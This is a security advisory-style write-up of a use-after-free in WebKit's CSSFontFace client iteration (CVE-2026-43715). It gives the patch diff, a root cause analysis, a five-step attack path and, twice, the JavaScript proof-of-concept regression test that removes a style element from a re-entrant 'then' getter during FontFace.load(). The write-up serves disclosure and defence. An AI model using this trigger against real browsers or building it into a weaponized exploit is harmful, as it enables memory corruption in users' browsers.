CVE-2026-43715
Overview
Impact:
Description: Processing maliciously crafted web content may lead to memory corruption
Researchers: Milad Nasr and Nicholas Carlini with Claude, Anthropic
Key insight. Snapshotting clients into a Ref vector kept them alive but not registered; a client removed mid-iteration was still invoked. Re-checking set membership (clients.contains) before each callback is the fix.
Patch Details
diff --git a/LayoutTests/fonts/font-face-load-crash-expected.txt b/LayoutTests/fonts/font-face-load-crash-expected.txt
new file mode 100644
index 000000000000..b0352cadbf49
--- /dev/null
+++ b/LayoutTests/fonts/font-face-load-crash-expected.txt
@@ -0,0 +1 @@
+This test passes if WebKit does not crash.
diff --git a/LayoutTests/fonts/font-face-load-crash.html b/LayoutTests/fonts/font-face-load-crash.html
new file mode 100644
index 000000000000..43472c0fb8fc
--- /dev/null
+++ b/LayoutTests/fonts/font-face-load-crash.html
@@ -0,0 +1,17 @@
+<style id="v">x{}</style>
+<body>
+<script>
+window?.testRunner?.dumpAsText();
+let s = document.createElement('style');
+s.textContent = '@font-face { font-family: t; src: local(Helvetica); }';
+document.head.appendChild(s);
+document.body.offsetHeight;
+let face = [...document.fonts].find(f => f.family.replace(/['"]/g, '') === 't');
+face.loaded;
+Object.defineProperty(FontFace.prototype, 'then', { get() {
+ document.getElementById('v').remove();
+ document.body.offsetHeight;
+}, configurable: true });
+face.load();
+document.write('This test passes if WebKit does not crash.');
+</script>
diff --git a/Source/WebCore/css/CSSFontFace.cpp b/Source/WebCore/css/CSSFontFace.cpp
index ac6f2b015f8a..6515d3514d9a 100644
--- a/Source/WebCore/css/CSSFontFace.cpp
+++ b/Source/WebCore/css/CSSFontFace.cpp
@@ -62,8 +62,10 @@ DEFINE_ALLOCATOR_WITH_HEAP_IDENTIFIER(CSSFontFace);
static void iterateClients(WeakHashSet<CSSFontFaceClient>& clients, NOESCAPE const Function<void(CSSFontFaceClient&)>& callback)
{
- for (auto& client : copyToVectorOf<Ref<CSSFontFaceClient>>(clients))
- callback(client);
+ for (auto& client : copyToVectorOf<Ref<CSSFontFaceClient>>(clients)) {
+ if (clients.contains(client))
+ callback(client);
+ }
}
void CSSFontFace::appendSources(CSSFontFace& fontFace, CSSValueList& srcList, ScriptExecutionContext* context, bool isInitiatingElementInUserAgentShadowTree)
Background
Advisory: Apple Security Advisory
| Attribute | Value |
|---|---|
| CVE | CVE-2026-43715 |
| Bugzilla | 313577 |
| Component | WebCore |
| Bug Class | UAF |
| Severity | medium |
| Commit | 5aedb82710ba578f… |
| Advisory | Apple Advisory |
Terminology
- CSSFontFace clients — Objects observing a CSSFontFace (e.g. font selectors / FontFace wrappers) tracked in a WeakHashSet<CSSFontFaceClient>.
- copyToVectorOf snapshot — iterateClients copies the WeakHashSet into a Vector<Ref<» so it can iterate while callbacks mutate the set; the Refs keep objects alive but not registered.
- Re-entrancy via callbacks — A callback can run author script (FontFace promise/then hooks) that mutates the DOM and unregisters a client during iteration.
- WeakHashSet::contains — A liveness/membership check the fix uses to confirm a client is still registered before calling it.
Root Cause Analysis
iterateClients() in CSSFontFace.cpp snapshots the live WeakHashSet<CSSFontFaceClient>& clients into a Vector<Ref<CSSFontFaceClient>> via copyToVectorOf and then calls callback(client) for each entry. Taking Ref<>s keeps the client objects alive for the duration, but it does not account for a client being unregistered (logically detached / torn down) by script that runs during one of the callbacks. A callback can synchronously execute author script — for example through a then accessor on FontFace during FontFace.load() — which mutates the DOM and removes a font-face client from the set (the layout test removes the <style> element mid-load). Because the loop iterates the pre-taken Vector, a client that has already been removed from the WeakHashSet and partially destroyed is still handed to callback, and operating on that removed/half-torn-down client is a use-after-free / memory corruption. The fix adds if (clients.contains(client)) before each callback(client), so any client removed from the set during an earlier callback is skipped rather than invoked. The restored invariant is that iterateClients only calls back clients that are still registered at the moment of the call, not merely those present when the snapshot was captured.
Attack Path
1. Register a font face
Insert a <style> with @font-face { font-family: t; src: local(Helvetica); } and force layout so a CSSFontFace with clients exists.
2. Grab the FontFace
Get the corresponding FontFace object from document.fonts.
3. Arm a re-entrant hook
Object.defineProperty(FontFace.prototype, ’then’, { get() { document.getElementById(‘v’).remove(); document.body.offsetHeight; } }) so touching .then runs script that removes a client mid-iteration.
4. Trigger client iteration
Call face.load(); its promise machinery reads .then and iterateClients invokes callbacks; the getter removes a client from the WeakHashSet.
5. Use-after-free
A later callback in the same iteration is invoked on the removed, torn-down client — memory corruption in WebContent.
Impact Assessment
A re-entrancy use-after-free reachable from ordinary CSS @font-face plus the CSS Font Loading API. The higher CVSS (8.8) reflects that the attacker controls exactly when the client is removed (script in the then getter), yielding a groomable UAF that can be steered toward memory corruption rather than a mere crash, though escalation to code execution still needs heap shaping. Confined to the WebContent process. Reported by Milad Nasr and Nicholas Carlini with Claude, Anthropic.
Audit Directions
Other CSSFontFace iterations
Review other loops in CSSFontFace/CSSFontFaceSet that copyToVectorOf clients and invoke callbacks without re-checking contains().
copy-then-callback across script
grep WebCore for copyToVectorOf feeding a loop that runs a callback which can execute script; each is a candidate for a mid-iteration removal UAF.
Font loading promise paths
Audit FontFace/FontFaceSet promise resolution (load(), ready) where JS accessors like then can run during client notification.
Changed Functions
| Function | File | Change | Note |
|---|---|---|---|
iterateClients (file-local static) |
Source/WebCore/css/CSSFontFace.cpp |
modified | Re-checks clients.contains(client) before invoking callback, so a client removed from the WeakHashSet during a prior callback is skipped instead of called on a stale object. |
Files Changed
Source Files
Source/WebCore/css/CSSFontFace.cpp
Test Files
LayoutTests/fonts/font-face-load-crash-expected.txtLayoutTests/fonts/font-face-load-crash.html
Regression Test
The fix ships this proof-of-concept / regression test:
diff --git a/LayoutTests/fonts/font-face-load-crash-expected.txt b/LayoutTests/fonts/font-face-load-crash-expected.txt
new file mode 100644
index 000000000000..b0352cadbf49
--- /dev/null
+++ b/LayoutTests/fonts/font-face-load-crash-expected.txt
@@ -0,0 +1 @@
+This test passes if WebKit does not crash.
diff --git a/LayoutTests/fonts/font-face-load-crash.html b/LayoutTests/fonts/font-face-load-crash.html
new file mode 100644
index 000000000000..43472c0fb8fc
--- /dev/null
+++ b/LayoutTests/fonts/font-face-load-crash.html
@@ -0,0 +1,17 @@
+<style id="v">x{}</style>
+<body>
+<script>
+window?.testRunner?.dumpAsText();
+let s = document.createElement('style');
+s.textContent = '@font-face { font-family: t; src: local(Helvetica); }';
+document.head.appendChild(s);
+document.body.offsetHeight;
+let face = [...document.fonts].find(f => f.family.replace(/['"]/g, '') === 't');
+face.loaded;
+Object.defineProperty(FontFace.prototype, 'then', { get() {
+ document.getElementById('v').remove();
+ document.body.offsetHeight;
+}, configurable: true });
+face.load();
+document.write('This test passes if WebKit does not crash.');
+</script>